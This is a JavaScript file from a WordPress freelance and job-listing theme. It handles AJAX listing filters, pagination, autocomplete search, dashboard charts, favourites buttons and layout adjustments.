/home/mobivsrd/public_html/wp-contentMXc/themes/freeio/js/job.js
(function($) {
"use strict";
var __cache = [];
$.extend($.apusThemeCore, {
/**
* Initialize scripts
*/
job_init: function() {
var self = this;
self.select2Init();
self.searchAjaxInit();
self.listingDetail();
self.filterListingFnc();
self.listingBtnFilter();
setTimeout(function(){
self.changePaddingTopContent();
$(window).trigger('resize');
}, 100);
$(window).resize(function(){
setTimeout(function(){
self.changePaddingTopContent();
}, 50);
});
self.userLoginRegister();
self.dashboardChart();
// mobile search
$('.action-show-filters').on('click', function(e){
$(".action-show-filters + .filter-listing-form, .action-show-filters + #jobs-google-maps, .action-show-filters + .element-user-dashboard").toggle('slow');
});
if ( $('.jobs-listing-wrapper.main-items-wrapper, .employers-listing-wrapper.main-items-wrapper, .freelancers-listing-wrapper.main-items-wrapper, .projects-listing-wrapper.main-items-wrapper, .services-listing-wrapper.main-items-wrapper').length ) {
$(document).on('change', 'form.filter-listing-form input, form.filter-listing-form select', function (e) {
var form = $(this).closest('form.filter-listing-form');
if ( $(this).attr('name') == 'filter-salary-type' ) {
form.find('input[name=filter-salary-from]').val('');
form.find('input[name=filter-salary-to]').val('');
}
setTimeout(function(){
form.trigger('submit');
}, 200);
});
$(document).on('submit', 'form.filter-listing-form', function (e) {
e.preventDefault();
var url = $(this).attr('action');
var formData = $(this).find(":input").filter(function(index, element) {
return $(element).val() != '';
}).serialize();
if( url.indexOf('?') != -1 ) {
url = url + '&' + formData;
} else{
url = url + '?' + formData;
}
self.jobsGetPage( url );
return false;
});
}
// Sort Action
$(document).on('change', 'form.jobs-ordering select.orderby', function(e) {
e.preventDefault();
$('form.jobs-ordering').trigger('submit');
});
$(document).on('submit', 'form.jobs-ordering', function (e) {
var url = $(this).attr('action');
var formData = $(this).find(":input").filter(function(index, element) {
return $(element).val() != '';
}).serialize();
if( url.indexOf('?') != -1 ) {
url = url + '&' + formData;
} else{
url = url + '?' + formData;
}
self.jobsGetPage( url );
return false;
});
// ajax pagination
if ( $('.ajax-pagination').length ) {
self.ajaxPaginationLoad();
}
$(document).on('click', '.advance-search-btn', function(e) {
e.preventDefault();
$(this).closest('.filter-listing-form').find('.advance-search-wrapper').slideToggle('fast', 'swing');
});
// message notification
$('.message-notification').on('click', function (e) {
e.stopPropagation();
$('.notifications-wrapper').toggleClass('active');
$('.message-top .notifications-wrapper.active').perfectScrollbar();
});
$('body').on('click', function() {
if ($('.notifications-wrapper').hasClass('active')) {
$('.notifications-wrapper').removeClass('active');
}
});
$('.notifications-wrapper').on('click', function(e) {
e.stopPropagation();
});
$('body').on('click', '.close-filter-sidebar', function(){
$('.filter-sidebar').removeClass('active');
$('.filter-sidebar + .over-dark').removeClass('active');
});
$(document).on('after_add_service_favorite', function(e, $this, data) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_remove_service_favorite', function( event, $this, data ) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_add_project_favorite', function(e, $this, data) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_remove_project_favorite', function( event, $this, data ) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_add_job_favorite', function(e, $this, data) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_remove_job_favorite', function( event, $this, data ) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_add_employer_favorite', function(e, $this, data) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_remove_employer_favorite', function( event, $this, data ) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_add_freelancer_favorite', function(e, $this, data) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$(document).on('after_remove_freelancer_favorite', function( event, $this, data ) {
$this.replaceWith(data.html);
$('[data-bs-toggle="tooltip"]').tooltip();
});
$('select.filter-role').on('change', function(e) {
var url = $(this).find(":selected").data('url');
$(this).closest('form').attr('action', url);
});
},
dashboardChart: function(){
var self = this;
// freelancer chart
if ( $('#dashboard_chart_wrapper').length ) {
var $this = $('#dashboard_chart_wrapper');
var labels = $this.data('labels');
var values = $this.data('values');
var label = $this.data('label');
var chart_type = $this.data('chart_type');
var bg_color = $this.data('bg_color');
var border_color = $this.data('border_color');
var ctx = $this.get(0).getContext("2d");
var data = {
labels: labels,
datasets: [
{
label: label,
backgroundColor: bg_color,
borderColor: border_color,
borderWidth: 1,
data: values
},
]
};
var options = {
//Boolean - Whether the scale should start at zero, or an order of magnitude down from the lowest value
scaleBeginAtZero : true,
//Boolean - Whether grid lines are shown across the chart
scaleShowGridLines : false,
//String - Colour of the grid lines
scaleGridLineColor : "rgba(0,0,0,.05)",
//Number - Width of the grid lines
scaleGridLineWidth : 1,
//Boolean - Whether to show horizontal lines (except X axis)
scaleShowHorizontalLines: true,
//Boolean - Whether to show vertical lines (except Y axis)
scaleShowVerticalLines: true,
//Boolean - If there is a stroke on each bar
barShowStroke : false,
//Number - Pixel width of the bar stroke
barStrokeWidth : 2,
//Number - Spacing between each of the X value sets
barValueSpacing : 5,
//Number - Spacing between data sets within X values
barDatasetSpacing : 1,
legend: { display: false },
tooltips: {
enabled: true,
mode: 'x-axis',
cornerRadius: 4
},
}
var myBarChart = new Chart(ctx, {
type: chart_type,
data: data,
options: options
});
}
// scrollbar notifications
$('.dashboard-notifications-wrapper').perfectScrollbar();
// employer chart
var self = this;
var $this = $('#dashboard_job_chart_wrapper');
if( $this.length <= 0 ) {
return;
}
// select2
if ( $.isFunction( $.fn.select2 ) && typeof wp_freeio_select2_opts !== 'undefined' ) {
var select2_args = wp_freeio_select2_opts;
select2_args['allowClear'] = false;
select2_args['minimumResultsForSearch'] = 10;
select2_args['language'] = {
noResults: function(){
return wp_freeio_select2_opts.language_result;
}
};
select2_args['width'] = '100%';
$('.stats-graph-search-form select').select2( select2_args );
}
var post_id = $this.data('post_id');
var nb_days = $this.data('nb_days');
self.dashboardChartAjaxInit($this, post_id, nb_days);
$('form.stats-graph-search-form select[name="post_id"]').on('change', function(){
$('form.stats-graph-search-form').trigger('submit');
});
$('form.stats-graph-search-form select[name="nb_days"]').on('change', function(){
$('form.stats-graph-search-form').trigger('submit');
});
$('form.stats-graph-search-form').on('submit', function(e){
e.preventDefault();
var post_id = $('form.stats-graph-search-form select[name="post_id"]').val();
var nb_days = $('form.stats-graph-search-form select[name="nb_days"]').val();
self.dashboardChartAjaxInit($this, post_id, nb_days);
return false;
});
},
dashboardChartAjaxInit: function($this, post_id, nb_days) {
var self = this;
if( $this.length <= 0 ) {
return;
}
if ( $this.hasClass('loading') ) {
return;
}
$this.addClass('loading');
var ajaxurl = freeio_job_opts.ajaxurl;
if ( typeof wp_freeio_opts.ajaxurl_endpoint !== 'undefined' ) {
ajaxurl = wp_freeio_opts.ajaxurl_endpoint.toString().replace( '%%endpoint%%', 'freeio_get_job_chart' );
}
$.ajax({
url: ajaxurl,
type:'POST',
dataType: 'json',
data: {
action: 'freeio_get_job_chart',
post_id: post_id,
nb_days: nb_days,
nonce: $this.data('nonce'),
}
}).done(function(response) {
if (response.status == 'error') {
$this.remove();
} else {
var ctx = $this.get(0).getContext("2d");
var data = {
labels: response.stats_labels,
datasets: [
{
label: response.stats_view,
backgroundColor: response.bg_color,
borderColor: response.border_color,
borderWidth: 1,
data: response.stats_values
},
]
};
var options = {
//Boolean - Whether the scale should start at zero, or an order of magnitude down from the lowest value
scaleBeginAtZero : true,
//Boolean - Whether grid lines are shown across the chart
scaleShowGridLines : false,
//String - Colour of the grid lines
scaleGridLineColor : "rgba(0,0,0,.05)",
//Number - Width of the grid lines
scaleGridLineWidth : 1,
//Boolean - Whether to show horizontal lines (except X axis)
scaleShowHorizontalLines: true,
//Boolean - Whether to show vertical lines (except Y axis)
scaleShowVerticalLines: true,
//Boolean - If there is a stroke on each bar
barShowStroke : false,
//Number - Pixel width of the bar stroke
barStrokeWidth : 2,
//Number - Spacing between each of the X value sets
barValueSpacing : 5,
//Number - Spacing between data sets within X values
barDatasetSpacing : 1,
legend: { display: false },
tooltips: {
enabled: true,
mode: 'x-axis',
cornerRadius: 4
},
}
if (typeof self.myBarChart !== 'undefined') {
self.myBarChart.destroy();
}
self.myBarChart = new Chart(ctx, {
type: response.chart_type,
data: data,
options: options
});
}
$this.removeClass('loading');
});
},
select2Init: function() {
// select2
var self = this;
if ( $.isFunction( $.fn.select2 ) && typeof wp_freeio_select2_opts !== 'undefined' ) {
var select2_args = wp_freeio_select2_opts;
select2_args['allowClear'] = true;
select2_args['minimumResultsForSearch'] = 10;
select2_args['language'] = {
noResults: function (params) {
return select2_args['language_result'];
}
}
$('.select-taxonomy-search' ).each(function(){
self.select2SearchInit($(this), select2_args, false);
});
$('.select-field-region-search' ).each(function(){
self.select2SearchInit( $(this), select2_args, true );
});
$('body').on('change', 'select.select-field-region-search', function(){
var val = $(this).val();
var next = $(this).data('next');
var main_select = 'select.select-field-region-search' + next;
if ( $(main_select).length > 0 ) {
$(main_select).val(null).trigger("change");
}
});
$('select[name=email_frequency]').select2( select2_args );
if( $('.widget-listing-search-form.horizontal select').length ){
select2_args.theme = 'default customizer-search';
}
$('.filter-listing-form select:not(.select-taxonomy-search, .select-field-region-search)').select2( select2_args );
select2_args.theme = 'default';
}
},
select2SearchInit: function($element, select2_args, region) {
$element.select2({
allowClear: true,
width: '100%',
dir: select2_args['dir'],
language: {
noResults: function (params) {
return select2_args['language_result'];
},
inputTooShort: function () {
return select2_args['formatInputTooShort_text'];
}
},
minimumInputLength: 2,
ajax: {
url: wp_freeio_opts.ajaxurl_endpoint.toString().replace( '%%endpoint%%', 'wpjb_search_terms' ),
dataType: 'json',
delay: 250,
data: function (params) {
if ( region ) {
var parent_id = 0;
var prev = $element.data('prev');
var prev_select = $('.select-field-region-search' + prev);
if ( prev_select.length ) {
parent_id = prev_select.val();
if ( !parent_id ) {
parent_id = 'lost-parent';
}
}
var query = {
search: params.term,
page: params.page || 1,
taxonomy: $element.data('taxonomy'),
parent: parent_id,
prev: prev
}
} else {
var query = {
search: params.term,
page: params.page || 1,
taxonomy: $element.data('taxonomy'),
parent: '',
prev: '',
}
}
// Query parameters will be ?search=[term]&type=public
return query;
},
processResults: function (data, params) {
params.page = params.page || 1;
return {
results: $.map(data.results, function (item) {
return {
text: item.name,
id: item.id
}
}),
pagination: {
more: params.page < data.pages
}
};
},
transport: function(params, success, failure) {
//retrieve the cached key or default to _ALL_
var __cachekey = params.data.search + '-' + params.data.taxonomy + '-' + params.data.page + '-' + params.data.parent + params.data.prev;
if ('undefined' !== typeof __cache[__cachekey]) {
//display the cached results
success(__cache[__cachekey]);
return; /* noop */
}
var $request = $.ajax(params);
$request.then(function(data) {
//store data in cache
__cache[__cachekey] = data;
//display the results
success(__cache[__cachekey]);
});
$request.fail(failure);
return $request;
},
cache: true
}
});
},
changePaddingTopContent: function() {
var admin_bar_h = 0;
var footer_h = $('#apus-footer').outerHeight();
if ( $('#wpadminbar').length ){
var admin_bar_h = $('#wpadminbar').outerHeight();
}
if ($(window).width() >= 992) {
if($('body.page-template-page-dashboard').length){
$('body.page-template-page-dashboard').css({ 'margin-bottom': footer_h });
}
} else {
if($('body.page-template-page-dashboard').length){
$('body.page-template-page-dashboard').css({ 'margin-bottom': 0 });
}
}
if ($(window).width() >= 1200) {
var header_h = $('#apus-header').outerHeight();
var header_top_h = header_h;
var header_main_content_h = header_h - admin_bar_h;
$('body.page-template-page-dashboard #apus-header, body.fix-header #apus-header').css({ 'top': admin_bar_h });
$('body.page-template-page-dashboard #apus-main-content').css({ 'padding-top': header_h });
if ( $('.layout-type-fullwidth .filter-sidebar').length ) {
$('.layout-type-fullwidth .filter-sidebar').css({ 'top': header_h, 'height': 'calc( 100vh - ' + header_h + 'px )' });
$('#apus-main-content').css({ 'padding-top': header_main_content_h });
}
$('.inner-dashboard.container-fluid .sidebar').css({ 'top': header_h, 'height': 'calc( 100vh - ' + header_h + 'px )' });
$('.tabs-product.sticky-top').css({
'top': admin_bar_h
});
} else {
var header_h = $('#apus-header-mobile').outerHeight();
if ( $('#jobs-google-maps').is('.fix-map') ) {
var header_top_h = header_h + admin_bar_h;
var header_main_content_h = header_h - admin_bar_h;
} else if ( $('.layout-type-fullwidth .filter-sidebar').length ) {
if ($(window).width() >= 992) {
var header_top_h = header_h + admin_bar_h;
} else {
var header_top_h = header_h - admin_bar_h;
}
$('.layout-type-fullwidth .filter-sidebar').css({ 'padding-top': header_top_h, 'height': 'calc( 100vh - ' + header_top_h + 'px )' });
}
$('body.page-template-page-dashboard #apus-main-content').css({ 'padding-top': 0 });
$('.inner-dashboard.container-fluid .sidebar').css({ 'top': header_h, 'height': 'calc( 100vh - ' + header_h + 'px )' });
$('.tabs-product.sticky-top').css({
'top': header_h
});
}
if ($('#jobs-google-maps').is('.fix-map')) {
header_top_h = header_h + admin_bar_h;
$('#jobs-google-maps').css({ 'top': header_top_h, 'height': 'calc(100vh - ' + header_top_h+ 'px)' });
if ($(window).width() >= 1200) {
$('#apus-main-content').css({ 'padding-top': header_h });
} else {
$('#apus-main-content').css({ 'padding-top': 0 });
}
}
// header transparent
$('.header_transparent .apus-header').css({
top: admin_bar_h
});
},
searchAjaxInit: function() {
if ( $.isFunction( $.fn.typeahead ) ) {
$('.apus-autocompleate-input').each(function(){
var $this = $(this);
var $action = 'freeio_autocomplete_search_jobs';
if ( $this.hasClass('autocompleate-service') ) {
$action = 'freeio_autocomplete_search_services';
} else if ( $this.hasClass('autocompleate-project') ) {
$action = 'freeio_autocomplete_search_projects';
} else if ( $this.hasClass('autocompleate-job') ) {
$action = 'freeio_autocomplete_search_jobs';
} else if ( $this.hasClass('autocompleate-employer') ) {
$action = 'freeio_autocomplete_search_employers';
} else if ( $this.hasClass('autocompleate-freelancer') ) {
$action = 'freeio_autocomplete_search_freelancers';
}
$this.typeahead({
'hint': true,
'highlight': true,
'minLength': 2,
'limit': 10
}, {
name: 'search',
source: function (query, processSync, processAsync) {
processSync([freeio_job_opts.empty_msg]);
$this.closest('.twitter-typeahead').addClass('loading');
var values = {};
$.each($this.closest('form').serializeArray(), function (i, field) {
values[field.name] = field.value;
});
return $.ajax({
url: wp_freeio_opts.ajaxurl_endpoint.toString().replace( '%%endpoint%%', $action ),
type: 'GET',
data: {
'search': query,
'data': values
},
dataType: 'json',
success: function (json) {
$this.closest('.twitter-typeahead').removeClass('loading');
$this.closest('.has-suggestion').removeClass('active');
return processAsync(json);
}
});
},
templates: {
empty : [
'<div class="empty-message">',
freeio_job_opts.empty_msg,
'</div>'
].join('\n'),
suggestion: function(data) {
return '<a href="'+ data.url +'" class="media autocompleate-media">\
<div class="media-left media-middle">\
<img src="'+ data.image +'" class="media-object" height="50" width="50">\
</div>\
<div class="media-body media-middle">\
<h4>'+ data.title +'</h4>\
'+ data.salary +'\
</div></a>';
}
},
}
);
$this.on('typeahead:selected', function (e, data) {
e.preventDefault();
setTimeout(function(){
$('.apus-autocompleate-input').val(data.title);
}, 5);
return false;
});
});
}
},
listingDetail: function() {
var self = this;
$('.submit-a-proposal-btn').on('click', function(){
$('html, body').animate({
scrollTop: $("#project-proposal-form-wrapper").offset().top - 100
}, 300);
});
$( 'body' ).on( 'init', '#project-proposal-form-wrapper', function() {
var hash = window.location.hash;
if ( hash === '#project-proposal-form-wrapper' ) {
$('html, body').animate({
scrollTop: $("#project-proposal-form-wrapper").offset().top - 100
}, 300);
}
} );
},
listingBtnFilter: function(){
$('.btn-view-map').on('click', function(e){
e.preventDefault();
$('#jobs-google-maps').removeClass('d-none').removeClass('d-lg-block');
$('.content-listing .jobs-listing-wrapper').addClass('d-none').addClass('d-lg-block');
$('.content-listing .services-listing-wrapper').addClass('d-none').addClass('d-lg-block');
$('.content-listing .freelancers-listing-wrapper').addClass('d-none').addClass('d-lg-block');
$('.btn-view-listing').removeClass('d-none').removeClass('d-lg-block');
$(this).addClass('d-none').addClass('d-lg-block');
$('.jobs-pagination-wrapper').addClass('p-fix-pagination');
$('.services-pagination-wrapper').addClass('p-fix-pagination');
setTimeout(function() {
$(window).trigger('pxg:refreshmap');
});
});
$('.btn-view-listing').on('click', function(e){
e.preventDefault();
$('#jobs-google-maps').addClass('d-none').addClass('d-lg-block');
$('.content-listing .jobs-listing-wrapper').removeClass('d-none').removeClass('d-lg-block');
$('.content-listing .services-listing-wrapper').removeClass('d-none').removeClass('d-lg-block');
$('.content-listing .freelancers-listing-wrapper').removeClass('d-none').removeClass('d-lg-block');
$('.btn-view-map').removeClass('d-none').removeClass('d-lg-block');
$(this).addClass('d-none').addClass('d-lg-block');
$('.jobs-pagination-wrapper').removeClass('p-fix-pagination');
$('.services-pagination-wrapper').removeClass('p-fix-pagination');
$('.freelancers-pagination-wrapper').removeClass('p-fix-pagination');
});
$(document).on('click', '.show-filter-jobs, .filter-in-sidebar', function(){
$('.offcanvas-filter-sidebar').toggleClass('active');
$('.offcanvas-filter-sidebar + .over-dark').toggleClass('active');
});
$(document).on('click', '.offcanvas-filter-sidebar + .over-dark', function(){
$('.offcanvas-filter-sidebar').removeClass('active');
$('.offcanvas-filter-sidebar + .over-dark').removeClass('active');
});
},
userLoginRegister: function(){
var self = this;
$('.message-meeting-wrapper').perfectScrollbar();
$(".show_hide_password a").on('click', function(event) {
event.preventDefault();
if($(this).siblings('input').attr("type") == "text"){
$(this).attr('title', freeio_job_opts.show);
$(this).siblings('input').attr('type', 'password');
$(this).find('span').addClass( "dashicons-hidden" );
$(this).find('span').removeClass( "dashicons-visibility" );
} else if($(this).siblings('input').attr("type") == "password"){
$(this).attr('title', freeio_job_opts.hide);
$(this).siblings('input').attr('type', 'text');
$(this).find('span').removeClass( "dashicons-hidden" );
$(this).find('span').addClass( "dashicons-visibility" );
}
});
},
filterListingFnc: function(){
$('body').on('click', '.btn-show-filter, .offcanvas-filter-sidebar + .over-dark', function(){
$('.offcanvas-filter-sidebar, .offcanvas-filter-sidebar + .over-dark').toggleClass('active');
//$('.offcanvas-filter-sidebar').perfectScrollbar();
});
$('body').on('click', '.tax-radios-field .form-group-inner ul span.caret-wrapper, .tax-checklist-field .form-group-inner ul span.caret-wrapper', function(){
var con = $(this).closest('.list-item');
con.find('> ul').slideToggle();
});
$('form .toggle-field.hide-content .heading-label i').removeClass('fa-angle-down').addClass('fa-angle-up');
$('body').on('click', 'form .toggle-field .heading-label', function(){
if ( $(this).find('i').hasClass('fa-angle-down') ) {
$(this).find('i').removeClass('fa-angle-down').addClass('fa-angle-up');
} else {
$(this).find('i').removeClass('fa-angle-up').addClass('fa-angle-down');
}
var parent_e = $(this).closest('.form-group');
setTimeout(function(){
if ( parent_e.hasClass('tax-viewmore-field') ) {
var height = parent_e.find('.terms-list').outerHeight();
if ( height > 190 ) {
parent_e.addClass('show-more');
}
}
}, 300);
});
$('.tax-viewmore-field').each(function(){
var height = $(this).find('.terms-list').outerHeight();
if ( height > 190 ) {
$(this).addClass('show-more');
}
});
$(document).on('click', '.toggle-filter-viewmore', function() {
var $this = $(this);
var container = $(this).closest('.tax-viewmore-field');
if ( container.hasClass('show-more') ) {
container.addClass('show-less').removeClass('show-more');
$this.find('.text').text(wp_freeio_opts.show_less);
} else {
container.addClass('show-more').removeClass('show-less');
$this.find('.text').text(wp_freeio_opts.show_more);
}
});
$('.reset-search-btn').on('click', function(e){
e.preventDefault();
var $form = $( this ).closest( 'form' );
$form.find(':input').not( ':input[type="hidden"]' ).val( '' ).trigger( 'change.select2' );
$('.main-range-slider').each(function(){
var $this = $(this);
$this.slider("values", 0, $this.data('min'));
$this.slider("values", 1, $this.data('max'));
$this.closest('.form-group-inner').find('.filter-from').val($this.data('min'));
$this.closest('.form-group-inner').find('.filter-to').val($this.data('max'));
$this.closest('.form-group-inner').find('.from-text').val($this.data('min'));
$this.closest('.form-group-inner').find('.to-text').val($this.data('max'));
});
$form.find('.search-form-inner input:checked').each(function(i, obj) {
$(obj).attr('checked', false);
$(obj).prop('checked', false);
});
$('.price-range-slider').each(function(){
var $this = $(this);
var $from_price = $this.data('min');
var $to_price = $this.data('max');
$this.slider("values", 0, $this.data('min'));
$this.slider("values", 1, $this.data('max'));
if ( wp_realestate_opts.enable_multi_currencies === 'yes' ) {
$from_price = self.shortenNumber($from_price);
$to_price = self.shortenNumber($to_price);
} else {
$from_price = self.addCommas($from_price);
$to_price = self.addCommas($to_price);
}
$this.closest('.form-group-inner').find('.from-text .price-text').text( $from_price );
$this.closest('.form-group-inner').find('.filter-from').val( $this.data('min') )
$this.closest('.form-group-inner').find('.to-text .price-text').text( $to_price );
$this.closest('.form-group-inner').find('.filter-to').val( $this.data('max') );
});
var $advanced = $(this).closest('.advance-search-wrapper-fields');
$advanced.find(':input').not( ':input[type="hidden"]' ).val( '' ).trigger( 'change.select2' );
$('.main-range-slider').each(function(){
var $this = $(this);
$this.slider("values", 0, $this.data('min'));
$this.slider("values", 1, $this.data('max'));
$this.closest('.form-group-inner').find('.filter-from').val($this.data('min'));
$this.closest('.form-group-inner').find('.filter-to').val($this.data('max'));
$this.closest('.form-group-inner').find('.from-text').val($this.data('min'));
$this.closest('.form-group-inner').find('.to-text').val($this.data('max'));
});
$advanced.find('input:checked').each(function(i, obj) {
$(obj).attr('checked', false);
$(obj).prop('checked', false);
});
if ( $('.services-listing-wrapper.main-items-wrapper').length ) {
$form.trigger('submit');
}
if ( $('.projects-listing-wrapper.main-items-wrapper').length ) {
$form.trigger('submit');
}
if ( $('.jobs-listing-wrapper.main-items-wrapper').length ) {
$form.trigger('submit');
}
if ( $('.employers-listing-wrapper.main-items-wrapper').length ) {
$form.trigger('submit');
}
if ( $('.freelancers-listing-wrapper.main-items-wrapper').length ) {
$form.trigger('submit');
}
});
},
jobsGetPage: function(pageUrl, isBackButton){
var self = this;
if (self.filterAjax) { return false; }
self.jobsSetCurrentUrl();
if (pageUrl) {
// Show 'loader' overlay
self.jobsShowLoader();
// Make sure the URL has a trailing-slash before query args (301 redirect fix)
pageUrl = pageUrl.replace(/\/?(\?|#|$)/, '/$1');
if (!isBackButton) {
self.setPushState(pageUrl);
}
var settings = $('body').find('.main-items-wrapper').data('settings');
var pagination_settings = $('body').find('.main-pagination-wrapper').data('settings');
self.filterAjax = $.ajax({
url: pageUrl,
data: {
load_type: 'full',
settings: settings,
pagination_settings: pagination_settings,
},
dataType: 'html',
cache: false,
headers: {'cache-control': 'no-cache'},
method: 'POST', // Note: Using "POST" method for the Ajax request to avoid "load_type" query-string in pagination links
error: function(XMLHttpRequest, textStatus, errorThrown) {
console.log('Apus: AJAX error - jobsGetPage() - ' + errorThrown);
// Hide 'loader' overlay (after scroll animation)
self.jobsHideLoader();
self.filterAjax = false;
},
success: function(response) {
// Update jobs content
self.jobsUpdateContent(response);
self.filterAjax = false;
}
});
}
},
jobsHideLoader: function(){
$('body').find('.main-items-wrapper').removeClass('loading');
},
jobsShowLoader: function(){
$('body').find('.main-items-wrapper').addClass('loading');
},
setPushState: function(pageUrl) {
window.history.pushState({apusShop: true}, '', pageUrl);
},
jobsSetCurrentUrl: function() {
var self = this;
// Set current page URL
self.searchAndTagsResetURL = window.location.href;
},
/**
* Properties: Update jobs content with AJAX HTML
*/
jobsUpdateContent: function(ajaxHTML) {
var self = this,
$ajaxHTML = $('<div>' + ajaxHTML + '</div>');
var $jobs = $ajaxHTML.find('.main-items-wrapper'),
$pagination = $ajaxHTML.find('.main-pagination-wrapper'),
$resultCount = $ajaxHTML.find('.results-count'),
$orderby = $ajaxHTML.find('form.jobs-ordering'),
$resultFilter = $ajaxHTML.find('.results-filter-wrapper');
// Replace jobs
if ($jobs.length) {
$('.main-items-wrapper').replaceWith($jobs);
}
// Replace pagination
if ($pagination.length) {
$('.main-pagination-wrapper').replaceWith($pagination);
}
if ($resultCount.length) {
$('.results-count').replaceWith($resultCount);
}
if ($orderby.length) {
$('form.jobs-ordering').replaceWith($orderby);
}
if ($resultFilter.length) {
$('.element-results-filter-wrapper').html($resultFilter);
}
// Load images (init Unveil)
self.layzyLoadImage();
// pagination
if ( $('.ajax-pagination').length ) {
self.infloadScroll = false;
self.ajaxPaginationLoad();
}
if ( $.isFunction( $.fn.select2 ) && typeof wp_freeio_select2_opts !== 'undefined' ) {
var select2_args = wp_freeio_select2_opts;
select2_args['allowClear'] = false;
select2_args['minimumResultsForSearch'] = 10;
select2_args['language'] = {
noResults: function (params) {
return select2_args['language_result'];
}
}
select2_args['minimumResultsForSearch'] = 10;
select2_args['width'] = 'auto';
$('select.orderby').select2( select2_args );
}
self.updateMakerCards();
setTimeout(function() {
// Hide 'loader'
self.jobsHideLoader();
}, 100);
},
/**
* Shop: Initialize infinite load
*/
ajaxPaginationLoad: function() {
var self = this,
$infloadControls = $('body').find('.ajax-pagination'),
nextPageUrl;
self.infloadScroll = ($infloadControls.hasClass('infinite-action')) ? true : false;
if (self.infloadScroll) {
self.infscrollLock = false;
var pxFromWindowBottomToBottom,
pxFromMenuToBottom = Math.round($(document).height() - $infloadControls.offset().top);
//bufferPx = 0;
/* Bind: Window resize event to re-calculate the 'pxFromMenuToBottom' value (so the items load at the correct scroll-position) */
var to = null;
$(window).resize(function() {
if (to) { clearTimeout(to); }
to = setTimeout(function() {
var $infloadControls = $('.ajax-pagination'); // Note: Don't cache, element is dynamic
pxFromMenuToBottom = Math.round($(document).height() - $infloadControls.offset().top);
}, 100);
});
$(window).scroll(function(){
if (self.infscrollLock) {
return;
}
pxFromWindowBottomToBottom = 0 + $(document).height() - ($(window).scrollTop()) - $(window).height();
// If distance remaining in the scroll (including buffer) is less than the pagination element to bottom:
if (pxFromWindowBottomToBottom < pxFromMenuToBottom) {
self.ajaxPaginationGet();
}
});
} else {
var $productsWrap = $('body');
/* Bind: "Load" button */
$productsWrap.on('click', '.main-pagination-wrapper .apus-loadmore-btn', function(e) {
e.preventDefault();
self.ajaxPaginationGet();
});
}
if (self.infloadScroll) {
$(window).trigger('scroll'); // Trigger scroll in case the pagination element (+buffer) is above the window bottom
}
},
/**
* Shop: AJAX load next page
*/
ajaxPaginationGet: function() {
var self = this;
if (self.filterAjax) return false;
// Get elements (these can be replaced with AJAX, don't pre-cache)
var $nextPageLink = $('.apus-pagination-next-link').find('a'),
$infloadControls = $('.ajax-pagination'),
nextPageUrl = $nextPageLink.attr('href');
if (nextPageUrl) {
// Show 'loader'
$infloadControls.addClass('apus-loader');
// self.setPushState(nextPageUrl);
var settings = $('body').find('.main-items-wrapper').data('settings');
self.filterAjax = $.ajax({
url: nextPageUrl,
data: {
load_type: 'items',
settings: settings,
},
dataType: 'html',
cache: false,
headers: {'cache-control': 'no-cache'},
method: 'POST',
error: function(XMLHttpRequest, textStatus, errorThrown) {
console.log('APUS: AJAX error - ajaxPaginationGet() - ' + errorThrown);
},
complete: function() {
// Hide 'loader'
$infloadControls.removeClass('apus-loader');
},
success: function(response) {
var $response = $('<div>' + response + '</div>'), // Wrap the returned HTML string in a dummy 'div' element we can get the elements
$gridItemElement = $('.items-wrapper', $response).html(),
$resultCount = $('.results-count .last', $response).html(),
$display_mode = $('.main-items-wrapper').data('display_mode');
// Append the new elements
$('.main-items-wrapper .items-wrapper .row').append($gridItemElement);
// Append results
$('.main-items-wrapper .results-count .last').html($resultCount);
// Update Maps
self.updateMakerCards(response);
// Load images (init Unveil)
self.layzyLoadImage();
// Get the 'next page' URL
nextPageUrl = $response.find('.apus-pagination-next-link').children('a').attr('href');
if (nextPageUrl) {
$nextPageLink.attr('href', nextPageUrl);
} else {
$('.main-items-wrapper').addClass('all-jobs-loaded');
if (self.infloadScroll) {
self.infscrollLock = true;
}
$infloadControls.find('.apus-loadmore-btn').addClass('hidden');
$nextPageLink.removeAttr('href');
}
self.filterAjax = false;
if (self.infloadScroll) {
$(window).trigger('scroll'); // Trigger 'scroll' in case the pagination element (+buffer) is still above the window bottom
}
}
});
} else {
if (self.infloadScroll) {
self.infscrollLock = true; // "Lock" scroll (no more products/pages)
}
}
},
addCommas: function(str) {
var parts = (str + "").split("."),
main = parts[0],
len = main.length,
output = "",
first = main.charAt(0),
i;
if (first === '-') {
main = main.slice(1);
len = main.length;
} else {
first = "";
}
i = len - 1;
while(i >= 0) {
output = main.charAt(i) + output;
if ((len - i) % 3 === 0 && i > 0) {
output = freeio_job_opts.money_thousands_separator + output;
}
--i;
}
// put sign back
output = first + output;
// put decimal part back
if (parts.length > 1) {
output += freeio_job_opts.money_dec_point + parts[1];
}
return output;
}
});
$.apusThemeExtensions.job = $.apusThemeCore.job_init;
